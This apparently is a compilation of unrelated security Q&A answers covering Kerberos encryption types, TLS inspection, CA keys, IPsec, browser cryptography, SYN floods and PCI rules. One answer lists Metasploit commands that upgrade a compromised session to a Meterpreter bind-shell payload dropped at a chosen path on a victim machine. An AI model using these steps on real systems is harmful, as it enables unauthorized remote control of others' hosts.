Implications of having a service account in AD use RC4 rather than AES for Kerberos?

The biggest reason I can think of as to why they might want to use RC4 is because of compatibility with Jira (and or this custom auth backend that we cannot vet.)

AES128 support was introduced along with Server 2008 and Vista, and AES256 with 2008 R2 and Win7.  However, the KDC will automatically negotiate down to (for instance) RC4 when talking to, say, a Windows 2000 client, during pre-authentication. So there should be no need to force it.

Of course, you can also configure user and computer accounts to support or not support DES, AES128, AES256, etc.

The implications are simply that it's not as strong of an encryption type as the newer AES ones. But it's not awful either.

I  would certainly be interested in hearing their reasoning for why they want to use RC4. The trick that you're proposing with mirrored SPNs is a whole other can of worms, but the encryption type used between clients and KDCs should have essentially nothing to do with whether it'll work.


What are security best practices and compliance areas in Agile Software Development process

Your question is a little confusing because it asks how to do this in Agile Software Development but then asks for examples of items to check. The second question seems very specific to context and since you are already looking at OWASP documents, you probably have plenty of examples. I can help with the first, but before I do, a short caveat: there is no such thing as an Agile Software Development Process. Most people, when they say this, mean they have a development process built around the Scrum Framework, so I'll assume for this answer that this applies to your team. Even if it doesn't, most of the answers wouldn't change much.

To ensure the most secure application possible, here are a few things that typical Scrum teams do:

1) Exactly what you are doing - agree upon a security standard. This should be something that all team members agree to follow.

2) Scrum has something called a Definition of Done. It is a set of quality measures that every item must meet to be considered done in a Sprint. Compliance to the security standard should be on that list.

3) Like any quality concern, security is everyone's problem. People should be discussing it in code reviews, architecture reviews, etc and it should be worked into code analysis systems and deployment processes.

4) Separation of responsibilities (between people and roles) in certain areas can contribute to a higher level of security, but it can also cause problems. Allowing only one person to have an account to a server reduces a number of people to be compromised, but also creates a bottleneck. If that bottleneck becomes an impediment to business goals, people start looking for ways around it and that opens more security risks which are harder to manage because you don't know about them. In short, security that relies strictly on rigid control is often broken, but the problems are hidden.

5) Build quality (and security) in. Better than controls, build good habits in your teams. This can't be done with a policy, this is done with culture. Leaders have to encourage people not to cut corners to make deadlines. Leaders and influencers in the organization need to visibly show that it matters to them, then your engineers need to build a habit of working in a way that is more secure. This takes months, if not years, but the pay-off is immeasurable. If you succeed here, then anything you do "checking" for security risks only has to catch human error, which is far easier and a far smaller set of problems than human negligence or neglect.


Bitdefender threat error even though I never installed Bitdefender

I got to the bottom of it. I actually spoke to BitDefender. I use some malware detection software from TeamViewer called ITBrain. That was the culprit. It uses some "drivers" (BitDefender's term) in it's software and the error was from that.


How can one detect and mainly bypass TLS inspection as a user with an enterprise managed device?

Chuck Company could spoof trusted certificates if they provide their users with managed devices. But it cannot actually replicate Verisign certificates, they could just fake end-users with managed devices. Because end-users couldn't validate certificate from authorized CAs.
Chuck Company could hide their inspection to TLS connection from Alice
TLS will be always decrypted by Chuck Company.
I recommend to Bob and Alice should use encrypted-communication like PGP. Just they need to find a way to change their public keys securely. It might be a social media platform like Twitter. At least one person should know others public key is not spoofed, it's assumed that controlled by Alice or Bob.

  Pretty Good Privacy (PGP) is an encryption program that provides cryptographic privacy and authentication for data communication. PGP is used for signing, encrypting, and decrypting texts, e-mails, files, directories, and whole disk partitions and to increase the security of e-mail communications. Phil Zimmermann developed PGP in 1991.


Does a certificate authority use different private keys?

I was wondering whether a CA has different private keys to sign
  certificates with?

A CA will usually have a number of Intermediate Keys for use in signing customers' certificates.  These Intermediate Keys are in turn signed by the CA's Root Key, which should be stored "offline" and only used rarely to sign those Intermediate Keys.  The matching Root Certificate is what is widely distributed and found in your browsers Trusted Root Authorities.

  Is there a risk of crypto-analysis (or something similar) when a CA
  signs thousands of certificates with the same private key? Does this
  risk exist?

No, to quote Wikipedia, "Every modern cipher attempts to provide protection against ciphertext-only attacks."  So there's no real worry that the amount of signatures/encryptions performed with a key creates a risk of analysis that increases based on the amount of signature/encryptions it has performed.

(Of course, to be used in so many tasks, a key has to be somewhat accessible; that's why the Intermediate keys used for everyday signing are kept "online" and the Root key is generally air-gapped or kept offline.  But this is a practical, operational consideration, not a cryptographic consideration.)


Is ESP without AH considered noncompliant with FIPS 140-2?

You seem to have some misconceptions about IPsec. Using integrity protection for ESP has nothing to do with AH. So that's not an AH key you are specifying with auth sha1 "", but an integrity protection/authentication key and algorithm for ESP (with "" you just get an all zero key).

Using ESP encryption without integrity protection is generally not recommended (for instance, directly in the introduction of RFC 4303 that specifies ESP) and the kernel prevents you from doing that in FIPS mode. If you check crypto/testmgr.c in the kernel sources (4.14.15 linked here) you'll see that there is no definition for authenc(digest_null,cbc(des3_ede)), which is what your SA uses, with fips_allowed = 1 (actually, there is no authenc definition with digest_null at all).

Combining ESP with AH is possible and requires defining separate ESP and AH SAs and then IPsec policies that combine them. So on Linux in FIPS mode that's apparently only supported if ESP is still used with integrity protection. By setting the ICV truncation for ESP to 0 you could probably avoid the additional overhead on the network but the computational overhead of having two integrity protection services would remain (the use of a combined mode algorithm like AES-GCM for ESP might improve that a bit).

Anyway, combining ESP and AH is not that common and not recommended, instead using ESP with a combined mode algorithm like AES-GCM or ChaCha20/Poly1305 (not yet FIPS certified) is the general recommendation due to their efficiency, see RFC 8221.


Encrypt it.

As soon as you identified the file as malicious, encrypt it with a keypair where the private key is on the analysis VM and don't decrypt it until you have it in the save environment where you want to analyze it.

As soon as the file is encrypted, no device in between will be able to do anything with it, no matter what they try. So it's now safe to use whatever file transfer mechanism you consider most convenient.

Possible weakness: A bug in the encryption software itself which can be exploited when a malicious file is encrypted. But considering that most encryption systems are quite simple and quite rigorously tested I would consider that unlikely.


How could a SYN flood affect a home router

There are three main ways a SYN flood can work against a home router:

If the router is performing NAT and has a port forwarded to a server, a SYN flood can fill up the router's NAT table, causing it to drop connections.
The SYN flood can act as a simple bandwidth-starvation attack.  A typical home router is on an asymmetric connection with limited upstream bandwidth, so a SYN flood targeting a closed port can clog the upstream connection with RST packets sent by the router.
Home router firmware is often rather fragile.  Simply throwing SYN packets at it too fast can cause a crash, taking down the connection.


Outbound TFTP request to 255.255.255.255

0000000: 00 01 72 6f 75 74 65 72 2e 63 6f 6e 66 00 6e 65 74 61 73 63 69 69 00
..router.conf.netascii.

That's probably a router, requesting the router.conf file in netascii encoding.

0000000: 00 01 42 6f 6f 74 5c 78 38 36 5c 77 64 73 6e 62 70 2e 63 6f 6d 00 6e 65 74 61
000001A: 73 63 69 69 00
..Boot\x86\wdsnbp.com.netascii.

That's a Windows PE attempt at booting via PXE.

Since TFTP uses UDP as a transport (keeping coding overhead very light, hence Trvial FTP), it can also be accessed by using the broadcast address allowing a machine that has booted with no configuration info about the network at all to grab configuration files or executables to assist in the boot process.

Record and track associated addresses if you want to figure out what was going on. The triage, however, is normal netboot operations. That said, this could still be handy for an intruder in some ways.


Is it possible to make an output of an encryption algorithm more susceptible to cryptoanalysis by altering input?

What you describe is termed a chosen-plaintext attack, or CPA. All good, modern ciphers are not at all vulnerable to CPA. In particular, the US standard cipher AES is not vulnerable to this attack or any of its variations. Any cipher which is vulnerable to this is typically considered to be badly broken.


There is no library.

You can look at the Qualys SSL Labs rating guide (not fully updated, you need to look at their blog to see latest updates).

You can look at the source code of testssl.sh for inspiration, it tries to do the same thing.

I would just list IETF IANA cipher suite IDs that are "good" and call all the other "bad", or have "good", "ok" and "bad".

Note that testssl.sh works with openssl names, not IETF names. You may need to translate.


How is using an endpoint for public keys secure?

You cannot defend against this. What you have described is a totally pwned computer. The only thing to do is wipe and reformat. In general, you cannot do anything sensitive on a compromised or potentially compromised computer.

So don't worry about this. Make your app secure from network attacks and let the user determine whether their computer is secure.


What’s wrong with in-browser cryptography in 2017?

The main issue with cryptography in web pages is that, because the code you're executing is loaded from a web server, that server has full control over what that code is and can change it every time you refresh the page. Unless you manually inspect the code you're running every time you load a new page on that site (preferably before that code is actually executed), you have no way of knowing what that code will actually do.

The Web Cryptography API can mitigate the risks of this somewhat by securely storing cryptographic keys in a way that scripts running on the page can not access, but all the operations that can be performed with those keys (decrypting, signing, etc) will still be available to those (potentially malicious) scripts.

As long as you do trust the server not to behave maliciously cryptography in the browser can be quite useful, but in many applications where cryptography is used that level of trust in a remote server you do not control is unacceptable.

For your scheme in particular:

  Of course, we will be using SSL

This is good. Without SSL, all later security measures would be pointless because an attacker could simply replace your code with their own and do whatever they want with the user's data.

  The first time a user logins in our notes app, we send them our public key. This key will be used to verify the authenticity of our "crypto.js" script. The public key will be stored in the user's browser.

This seems pointless. TLS already sends the client your server's public key and uses it to verify the authenticity of all scripts you load over that connection. There's no reason to do the same thing all over again in JavaScript.

  A "checker.js" script is downloaded and stored as well. This script will never change and it will be in charge of checking the integrity of "crypto.js" and (2).

This is also pointless, because there's no way to enforce your requirement that "This script will never change". You could send a Cache-Control header with a long max-age, but there's no guarantee the user agent will always respect that value; caching is not intended to be relied upon for security.

  In (2) and (3) we establish a Trust On First Use (TOFU) relationship between the user and our site. Both the public key and "checker.js" are cached using a service worker or similar.

Just to be clear: caching those files with service workers has no impact on the security of the overall system. When the user later comes back to your site the browser will check with the server to see whether the service worker has updated and install the new version if it has. So the server still has full control of the code running in the user's browser. There's no "Trust On First Use (TOFU) relationship" here.

  Even though we are using SSL, a MITM attack could happen while downloading (2) and (3), so we could offer a way to check that the public key and "checker.js" are not compromised.

That's a nice gesture, but as I previously stated even if those files are not currently compromised, the server or a MITM (who somehow managed to compromise your TLS connection) can easily update those files at any time to compromise them without the user noticing, so I don't really see the point of this feature.

  On first login, we also send to the user its private key. This private key will be used to encrypt and sign the notes. This private key will be encrypted.
  The key required to decrypt (6) is sent via email to the user. In this way we establish a two-channel authentication.
  Using Web Crypto ( https://www.w3.org/TR/WebCryptoAPI/ ) we decrypt (6) with (7). In this way (6) is never stored in the browser decrypted and it is not accessible by JavaScript thanks to the Web Crypto API.

Implementing this would require that the server have access to a plaintext version of the user's private key. Depending on exactly what you're using these keys for, that could be problematic if the server is ever compromised. Instead, you should consider using the Web Crypto API to generate a private-public key pair on the user's device, and have the browser send the public portion of that key to the server. That way the server never has access to the user's private key.

  Now we can start with the functionality of our web app: create encrypted notes. To do so, the user writes a note and click the save button. The server sends "crypto.js" signed with the server's private key (see 2).
  The signature is verified using the public key downloaded in (2) with (3) and if correct, the note is encrypted. If "checker.js" was modified, SRI should stop this process.

Unless you're loading checker.js from an untrusted third-party server, Subresource Integrity is unnecessary in this scenario. Anyone who can compromise your server or its connection to the client to modify checker.js can also modify the values of the subresource integrity hashes so that the browser will accept the modified script without complaint. Or they could just modify the page to not load checker.js at all, and use a completely different script of their own making instead. Either way, subresource integrity doesn't help.

  The note is sent back to the server and stored.

That's fine as long as you fix the issue I already mentioned with 6, 7, and 8 so the server doesn't have the keys needed to decrypt the user's files. If you're fine with the server having the keys to access the user's files, there's no need for client-side crypto at all; just let the server handle the encryption.

  Depending on the functionality required, the server should delete the user's private key and keep only the public one or not.

Or, as I suggested, just don't give the server the user's key in the first place. Other than that though, this part is fine security-wise, in that it prevents the server from accessing the user's files while the user is not using the site.

Once the user visits the site though, the user's browser will load code from that server which will have the ability to use the user's keys to decrypt the user's notes. So for the average user, accessing their notes without giving your server the ability to read them is impossible.

There are also some usability issues with this implementation, as it means users will not be able to sign into their account from a new browser and still have access to their notes. A better implementation would be to derive users' crypto keys from their passwords using a key derivation algorithm like PBKDF2 (available via the Web Cryptography API) with a high work factor. This would allow them to access their notes from any browser. (But would still have all the same security downsides mentioned in my comments above.)


The first question is "see what?".  I assume that you're asking whether OpenDNS can see your DNS resolution, not the entire traffic.

OpenDNS is a DNS resolution service, therefore you configure your router to send DNS queries there.  It does nothing to the actual TCP (or even UDP not going to port 53) traffic.  OpenDNS performs content filtering by DNS filtering.

Now, if your machine use DHCP to the router and asks there for a DNS server (most do).  Your (openDNS configured) router will add itself as the DNS server and relay the DNS queries to OpenDNS.  If you use a VPN but do not change the DNS servers of your machine the DNS query will be sent to the router anyway and then relayed to OpenDNS (given that you do not force the VPN to overwrite your current LAN, most will not do that by default).

To make sure that the DNS traffic is not relayed to OpenDNS you need to ensure that the DNS server of your machine is configured to use an IP within the range defined by the VPN (if your VPN is for internet access, then using a public IP of a DNS will do.  Google has the classic page about configuring DNS to one of its servers for several OSes).


Can my computer be compromised by uBlock/Adblock filter list?

Without doing a complete code review of uBlock, the answer would be "yes" the author of an extension that has access to modify the DOM could add and remove CSS and JS. The LastPass chrome extension injects javascript to form-fill passwords. uBlock uses CSS and blocks remote library requests. Both of these permissions can lead to vulnerabilities and unintended consequences such as the recent revelation that CSS can be used to steal credit card information under certain circumstances.

I have personally seen rogue extensions that have been installed on customer machines that add "Russian Bride" and pharmacy ads to Google's homepage by modifying the DOM.

That being said, the community that works with uBlock block lists are diligent, and if there was a problem, I would imagine it would be short lived.

In the end, as you pointed out in your question, you have to decide if you are going to trust the extension and the author.


How to set where the meterpreter payload is placed on the victim machine in metasploit?

The sessions -u is actually a post/multi/manage/shell_to_meterpreter with predefined options. If you see the advanced options for that module (with show advanced), you should notice it has:

Name               Required   Description
----               --------   -----------
BOURNE_FILE        no         Remote filename to use for dropped binary
BOURNE_PATH        no         Remote path to drop binary
PAYLOAD_OVERRIDE   no         Define the payload to use

Therefore, what you are trying to do should be possible with:
use post/multi/manage/shell_to_meterpreter
set SESSION 2
set BOURNE_PATH /home/Bob
set PAYLOAD_OVERRIDE linux/x86/meterpreter/bind_tcp
run


Your description is not quite accurate, but the outcome is the same: email messages that look authentic enough to fool recipients can be sent. Note that a common way for this to occur is for the attacker to actually gain access to the senders email service - so the fake email would be identical to a real email in every aspect, except for the person composing it.

I'm pretty confident there is no reliable way to detect such messages. You can certainly apply a battery of measurements to account for email frequency, use of language, and other variables, but I don't know of anything good enough to put into widespread use. Also, if anyone had created such a system, they would have released it already and enjoyed their hundreds of millions of dollars in earnings.

The most reliable option is for the recipient to question the sender via a different channel if a suspicious or unusual message is received.

Example 1: I get an email from my friend jane@email.com asking for money. Suspicious, I text her, and she replies that the email is authentic.

Example 2: I get an email from service@fedex.com requesting credit card details to deliver a package that incurred extra costs. I look up the phone number for my local FedEx office and ask them, and they reply that there are no packages for delivery to my address.


What is the precise difference between a signature based vs behavior based antivirus?

Signature-based AV compares hashes (signatures) of files on a system to a list of known malicious files. It also looks within files to find signatures of malicious code.

Behavior-based AV watches processes for telltale signs of malware, which it compares to a list of known malicious behaviors.

The reason many AV products are add behavior-based detection is because many malware creators have begun using polymorphic or encrypted code segments which are very difficult to create a signature for. An easier way to detect these is to watch for a particular pattern of behavior to identify the malware.


How to detect a DoS attack if today all use network address translation?

It's not likely a sizable number of users at some very large company will suddenly access the same resource on your server time and time again, out of nowhere. It's possible, but hardly happens, if all.

DoS almost all the time cause a very large spike on traffic, way more than a Slashdot effect, for example. Something like this:

It's an old picture, but the principle is the same. A traffic spike of 36Mb is nothing today, any current smartphone could handle that.

And if some large network gets hijacked to attack your server, all packets will come from a single netblock (or a couple related netblocks), so it's easy to detect and block such attack.

Real DDoS attacks usually come from thousands to hundreds of thousands of different addresses, not a few ones.


I would suggest implementing Verified by Visa and Mastercard 3DSecure.

Ask your acquirer about enabling these services on your merchant account.
Those 2 services will shift the liability to the customer provided that the correct VbV/3DS password/OTP authentication passed.

You could also select to reject cards that do not have VbV/3Ds enabled, or you could pass those transactions and take the chargeback risk.

If the financial services you provide only are "useable" in a specific country due to laws and such, I would suggest putting a geoIP lock on your site, and also ask your acquirer (or set it up in your merchant Control panel if they provide such facility) to lock so only cards issued in country X is accepted.

If you also want to use AVS (Address Verification System), I would suggest the user has to enter their billing address at sign-up, then you send a physical snail-mail with a one-time code required to activate account. Then only this billing address can be used. Changing of billing address deactivates account and sends a new snail-mail code to the new address.
This also both adds convenience to the customer (he does not need to enter his billing address all the time), auditability (you have a real address for the customer to give to the police in case of fraud), and security (since the address is both verified by snail-mail and against the credit card).


Is it secure to use TOR with AVAST antivirus?

Anti-virus programs are a little like spyware

AV needs to have visibility into every process being run on your computer. Even spyware doesn't dig as far into your machine as AV does.

The question is about what you mean and what you expect when you say "can AV monitor my browsers?" Avast saw that you were running an incognito session because it could see the process being launched. It's like noticing that you launched Chrome at all, which is the most basic function of AV. That does not mean that it is inspecting all the data you send through the browser.

HOWEVER: Some AV products do have browser plugins that can inspect the data in the browser. You have to turn this function on, though.

So, just because Avast saw that you launched an incognito window does not mean that it can read what you send through it.


You could just port-forward (i.e. DNAT) anything incoming from certain ranges to a single port with a generic listener of some form on it.

Something like:

iptables -t nat -A PREROUTING -s 1.1.1.1/24 -p tcp --dports 0:65535 -j DNAT --to-port 8080

Obviously, whether or not that actually works for your purposes depends on your use-case.


hide_my_wp wordpress plugin is activated with php eval function that might trying to read /etc/passwd? Is it true?

Many bots actively scans internet and look for vulnerabilities using well-known URL locations of the commonly used applications like Word-Press.
It seems to be the advertised aim of the plugin to change and hide the common paths to prevent such attacks. So, I would not be alarmed with the line you posted. It seems iti s just putting it into a variable. You need to look at its rest of the code to underrated what it is doing.
But, the plug-in (https://wordpress .org/plugins/hide-my-wp/) seems to be a copy-cat of another popular plugin and they mention that on their website:

Important! This is not the Hide My WP Nulled version of the Hide My Wp
Codecanyon plugin.

The original plugin seems to be this one and it is a paid product:
https://codecanyon .net/item/hide-my-wp-amazing-security-plugin-for-wordpress/4177158
One of the major security problem with WordPress is plugins. There are too many, very easy to use and people doesn't maintain them after initial install (or author abandons the plugin and security issues that comes up over time never gets fixed). So, it is best to use well reputed plugins from publishers who can sustain it over time. That usually means paying them.
That being said, I don't have experience with these plugs-in so I can't vouch for their security.


Why can I use 2 different private keys to connect to my SSH server storing only 1 public key?

This could well be the same key in two different formats. Try extracting the public key for both and compare the fingerprints, for instance using the commands here. The public key is unique and part of the public key / private key  pair. The fingerprint over the public key is unique with very high probability. So if the comparison succeeds you've got the same private key.

The fingerprint comparison should be sufficient, but to be even more sure you could generate a signature using the private key and verify it using the public key generated from the other private key. If it verifies the public and private keys are part of a key pair. SSH is however not meant for this kind of operation so it will be harder to accomplish - and it is only slightly more solid than creating a secure connection in the first place.


Has cryptography reached the development level where social engineering is the only reliable method of attack?

Strong: yes; easy to use: no.

A cryptographic algorithm provides a precise functionality, and for most functionalities we do know algorithms which, when implemented properly, are strong enough (which means: nobody has a clue about how to break them with non-sci-fi hardware). However:

It turns out to be quite hard to implement any given cryptographic algorithm "properly".
Assembly of cryptographic algorithms into protocols is still hard. You do not automatically get a secure transport protocol by slapping together AES, HMAC/SHA-256 and RSA; you still need to take care of an awful lot of tricky details. SSL/TLS, as of version 1.2, is believed "reasonably strong", but it took more than 12 years of breaks and fixes.
Even when the algorithm is utterly strong, it still has a limited scope. For instance, if you use 2048-bit RSA signatures, nobody knows how to break that; but the signature only binds that which is signed to "the private key corresponding to a given public key"; whereas the system's security would require a binding to "a specific human user". Cryptography does not do the whole job, only a part of it.

Since a given system ultimately contains a human being at some point, it necessarily is somewhat weak. When a three-letter-agency wants to break a code, it costs at most about one million dollars: either to fund some hardware effort which exploits a weakness in the implementation or usage of the cryptographic algorithms, or to bribe the operator. Whichever is cheaper.


Best Source of Security Configuration Guidance

RFC 1925: line 10: One size never fits all.

So there was never such best-practice security approach for all.

It depends on what your focus/policy compliance strategy.
General harden I think we should follow general guides on each system/os such as Windows security documents or Redhat security guides because it will balance the security/troubleshoot time as your links above.

If your environment focus more about security then stick with STIG/What-ever-certificate compliance checklist and spend more time to troubleshoot why it's not working.


Are there any known botnets targetting smartphones?

Generally speaking, we haven't seen large, long-lived botnets formed by compromising smartphones, in the same way as we've seen for desktops.  (There are small-scale exceptions, but this is is a good first approximation.)  There certainly has been no shortage of malware targeting smartphones, but what it does once it compromises your machine looks a bit different from what tends to happen on desktops.

It's instructive to look at why.  Why do bad guys want to compromise your desktop or your smartphone?  Because they want to make money.  Therefore, they are going to be driven and motivated by what they can do with your compromised machine -- in particular, how they can make money from it.

Right now, the main ways of making money off a compromised desktop are things like sending spam, hosting bad web sites (phishing sites, pharmaceutical storefronts, etc.), launching DDoS attacks, stealing users' credentials, and so on.

Most of those attacks are not possible or less attractive on smartphones.  Smartphones tend to have lower network bandwidth than desktops, so they're not as useful for sending spam, hosting bad sites, or launching DDoS attacks.  Also, due to sandboxing and other security protections, it is not as easy to steal users' credentials (it is possible, but not as trivial).

For these reasons, we shouldn't expect to see bad guys leverage compromised smartphones in the same way that they leverage compromised desktop machines.

For more detail, see the following research paper, which surveys smartphone malware seen in the wild (up to 2011) and speculates on incentives that might drive malicious behavior in the future:

A Survey of Mobile Malware in the Wild.  Adrienne Porter Felt, Matthew Finifter, Erika Chin, Steven Hanna, and David Wagner.  ACM SPSM 2011.

For more research, see the following:

Dissecting Android malware: Characterization and evolution.  Yajin Zhou, Xuxian Jiang.  IEEE S&P 2012.


Security differences between Passive and Active RFID tags

Network bandwidth is a scarce resource in RFID protocols.

Active tags have a double edge sword when it comes to security.  For one they are able to support more bandwidth and therefore larger key sizes.  The "problem" is that active tags also have a longer range,  and there for an attacker further away is able to obtain a challenge response. Passive tags have a shorter range,  and are limited in the cryptographic algorithms they are able to use...

So what is your implantation?  Ideally you would have a faraday cage to protect your active tags when they are not in use.


Can I re-sign SMIME certificates with my own CA?

While it is theoretically possible to create a new certificate from the public key contained in the certificate, this has some down sides:

This is a lot of work as usually CAs require proof of ownership of the private key to create a certificate (for example by a CSR), so the common tools would not work as seemlessly as with a CSR (afaik).

You are either repeating your check for hashes on every key or trusting the CA by blindly resigning their certificates.
If you do plan on checking all fingerprints, you might as well express trust in just those certificates directly rather than the CA they came from. While this is not confirming to the standard, some implementations do allow for that for such reasons.

Your initial point of “I don’t know how secure the CA is” is not handled: if the CA (as often with such companies) not only signs a CSR but creates a key pair for the user, the CA you are trying to explicitly not trust may hold the private key for a certificate you signed.

To recap, some of the problems go away when your client allows to explicitly trust a certificate rather than a CA, yet you should keep in mind that you did so and the privacy of the conversation might be broken (maybe even by a mail gateway of the company) either way.
To get rid of the warnings, this does help - to actually have trust for the use cases of S/MIME both ways (your and my suggestion) both do not help.
But then again, the PKI is in a somewhat broken stage such that - depending on your needs - not even a “real” CA would satisfy your needs and you would be better off with a PGP approach, personally expressing trust after out-of-band authentication.


How to ensure that files uploaded by users do not contain any XSS code

You can't, really.

You can reduce the chances of content-sniffing running HTML by serving files with a X-Content-Type-Options: nosniff header, and try to avoid them being treated as HTML pages by serving with Content-Disposition: attachment, but still you have older browsers to worry about, and browser plugins. (For example Java's broken SOP and Flash's crossdomain XML sniffing.)

Best workaround if you have to accept user-uploaded files is to serve them from a separate domain, so that any XSS attack can't compromise the main site.


A VPN protects only the transport of the data but does not change the payload in any way which also means no anonymization of payload. If you are signed in to google and surf to a site which uses google analytics are other google service then google still knows who you are.


How to Check if my mail is classified as Spam

The only surefire way to see if an email is classified as spam is to... send it, and see how it shows up on the other side. Any email server can classify any incoming email as "spam" or "not spam" or "slightly spammish" or whatever based on any arbitrary criteria, which may include email source, contents, or the phase of the Moon or the degree of incompetence of the intern who last played with the server configuration. In any case, such rules are local, often change without notice, and are almost never advertised in any way. Antispam rules are a heuristic hide-and-seek game with spammers, and secrecy is crucial (this is security through obscurity, because there is nothing better available).

When I send an email to a recipient on Hotmail, the Hotmail server classifies my email as "spam"... because my name contains a "forbidden word". No sysadmin at Hotmail admitted as such, but I made extensive tests (implying sending many emails from my own server, with various characteristics, and using an Hotmail account to see them) and I am fairly sure that I pinpointed the reason (if I send two completely identical emails, except for the sender name, being "Thomas Pornin" in the first and "Thomas Portin" in the second, then only the former is marked as "spam").


NAT is often misunderstood because in todays "office routers" there is as good as in every case a combination of NAT/PAT and a firewall which isn't the same. Also when you say NAT most people really mean NAT/PAT which is a combination of Network Address Translation and Port Address Translation.

This means that the router which is providing NAT/PAT functionality is able to map a specific port on the external network to a specific host on a specific port in the internal network. This can provide some extra security by lowering the attack surface of the servers that otherwise could be scanned and attacked directly. Of cause the forewarded services can be attacked anyway...


Viewing PCI data via 3rd party sites securely

First of all, you need to talk to a QSA on something like this.

That said, I believe the PCI Card Production Logical Security Requirements document most closely applies to your issue.  And the sticker is that the cardholder does need to provide "some sort of secret key."  Specifically, section 10 PIN Distribution via Electronic Methods says you need to validate that the request is coming from the cardholder:

  e) Communication of the PIN to the cardholder must only take place after
  verification of the identification value and associated authentication
  value.

  f) The identification and authentication values must not
  disclose the account number.

  g) The authentication mechanism or value  must be different than the identification value and must not be a value easily associated with the cardholder.

  h) The authentication
  value must be communicated to the cardholder in such a way that access
  by anyone other than the cardholder is detected.

h) also implies that the cardholder can't pass their authentication value through the third party, but you knew that.

You're correct that REST or web services would not be appropriate, but an iframe is probably acceptable, because an iframe means that the communication regarding the PIN would be directly between the cardholder's browser and your server, bypassing the third party.  The third party simply provides the link that allows the cardholder to go directly to you.  iframe is probably the appropriate technology to meet your requirement of having it appear to come through the third party and the PCI requirement of requiring the transaction be directly between you from the cardholder.

Alternately, you could simply do a branded page.  You create a web page with the look and feel of your third parties' web site, and they link to your page.  Cardholders go to your site, your URL, but it looks enough like the third party to seem the same.

So, to sum up - the third party passes the cardholder to you, via iframe or direct link.  The cardholder submits authentication data to you and gets the PIN back, and ends up either continuing (iframe) or being redirected back to (direct link) the third party's site.

You may not be able achieve one of your goals: to do this "transparently, so the customer doesn't have to enter a password or provide an encryption key."  That's not compatible with PCI requirements.  (That said, if your QSA approved, and the third party was able to sufficiently authenticate the cardholder through their normal process, and pass cryptographically strong proof of that along as a cookie or request parameter, then maybe you could make it transparent.  But that's where you really, really, really need a QSA's advice, because maybe that violates 'h' above)


Setting up a VPN while under persistent attack

As far as I know, the initial connection to a commercial VPN service is the most vulnerable. ... Is there a way to securely sign up and connect to a commercial VPN service without my keys being intercepted?

Assuming that you start with a clean an not compromised system then the initial connection is only a problem if you rely on blindly trusting the connection, i.e. either don't use a TLS connection, ignore any certificate warnings or simply connect to a system which sounds like it would be a trustable VPN provider but is not.

If your TLS gets already actively intercepted and you notice it than you need to rely on different ways to establish a contact to the trusted VPN provider. This can be for example snail mail for initial contact and then getting some pre-configured system or software to connect to the VPN. Or it can be the use of a more trusted internet connection of some friend. Also note that if your upstream is that invasive then it might simply block the VPN connection.

  ... but I’ve repeatedly seen news about TLS coming under attack (FREAK, DROWN, etc.), so wouldn’t it be possible for the TLS implementation of a commercial VPN to be vulnerable? Also, with recent revelations about perfect forward secrecy weaknesses (Diffie-Hellman), wouldn’t this make my concerns more valid?

You are escalating problems you've heard somewhere without understanding what they actually mean and where they apply. While they were bugs in specific implementations and use cases TLS by itself is not broken. Also, the problems you cite can currently only be exploited by an attacker with lots of resources.

But, attackers usually don't waste money on such attacks if it can be done the cheaper way. If you face such an attacker you should stop trusting not only your ISP etc but also the vendor of your computer hardware, your operating system, any programs you've installed (where do you got these from - downloaded somewhere from the internet?). You should also question if the commercial VPN you want to use can be really trusted, i.e. if it has a secure infrastructure itself and will not cooperate with your enemies given enough money, which is usually still cheaper than breaking TLS.

Also, make sure nobody can enter your house to physically attack you or just manipulate your computer to install software which allows you to be tracked even if you use a VPN.


What's the best way to secure inter-server communication for cloud servers?

It depends on the traffic. If it's commands and file transfer, then SSH is sufficient (since you'd be using SSH anyway). You'll be relying on strict host key checking, so make sure you don't suppress that.

Otherwise, VPN it. OpenVPN is simple enough. Requires some setup, but not tons.

IPSec was actually designed specifically for this purpose. It's a disaster of Design-By-Committee bloat to the extent that it's, unfortunately, almost completely unusable. A bit of a shame, because it's otherwise a simple solution to a very common problem. But if you can get IPSec to work, the overhead is theoretically negligible.


Is it safe to publish a private CA's root and intermediate certificates?

There's a reason they're called "public" keys.  :)  There are hundreds of Root CA certificates bundled with your operating system, etc.  If your attacker can factor your public key, you've already lost.

The only concerns I'd have with a private CA are whether or not you expose information about your internal structure that might be useful to an attacker.  e.g., details about who operates your CA, particular servers that have the CA private keys for signing...


Benefits of cloud based full disk encryption

You aren't missing anything technically, full disk encryption protects you from disk theft, improper disk disposal, or unauthorized access to the virtual container.

The point I'd make to you is that if your data is valuable to your organization it's probably valuable to somebody else. You also have a duty of care to protect customer details any sensitive information as best you can. Infiltration or disk theft as an attack against your data may unlikely but it's not impossible, and the impact if it does happen could be catastrophic, especially if you haven't been seen to make every effort you can to prevent it. Disk encryption is part of a defense in depth strategy to protect your data. It's not going to protect you from governments, but that's probably not who you have to worry about.


Is it possible to "protect" against MITM attacks over HTTP?

They are doing post submission over SSL.  This will provide protection against a passive MITM since the credentials would be encrypted on the post back, however, it does effectively nothing against an active attacker that is able to alter traffic since they could simply alter the postback URL and the user experience would not change.

A smart client could verify the integrity of the postback URL prior to credential submission (including inspecting the page for any javascript that may alter the URL) and avoid a MITM attack, but practically, for the average internet user, it is not secure.  The site you were visiting really should switch to providing the login screen on a fully HTTPS page.


Is it safe to use my personal password as my password in work related accounts?

I think this question can begin to be answered by this graphic, which shows what security people think versus average people about best practices for information security.

Note that the average person thinks using a strong password (meaning a complex, difficult-to-guess gibberishy password) is a priority, while security professionals view a unique password (meaning one that you only use for that particular purpose) as a priority.

In corporate environments, sometimes IT staff have a legitimate need to request your password (although it's not a good practice, they still do it..).  Also you cannot be sure of the security of the database holding your password, or if monitoring software is installed that would give IT staff access to that password.  So, having a unique password for your corporate environment is certainly a better practice for your own safety.

In general, it is a poor practice to reuse any password on different sites.  I prioritize using unique passwords, as you never know if the site you have logged into will be hacked.  If you use the same password on a site that is compromised, attackers may try to use that password against other known sites like PayPal, facebook etc.

This is where security professionals' 5th preference comes in: use a password manager.  If you use a password manager like KeePass or LastPass, you can more easily utilize unique and strong passwords.  Then, you can use your complex password as your "master password," and for no other reason as you do not want this password to ever become known.  You can also enable two factor authentication (security professionals' #3 preference!) to better secure that master database.  This is a better practice in the real-world than re-using passwords, or using formulaic passwords (e.g. that include the name of the site at the end of the password).


Is there a meaningful difference between Cyber Defense and Cyber Security?

Sometimes the term "cyber defense" is used to refer to the military/government side of cybersecurity.

Example.

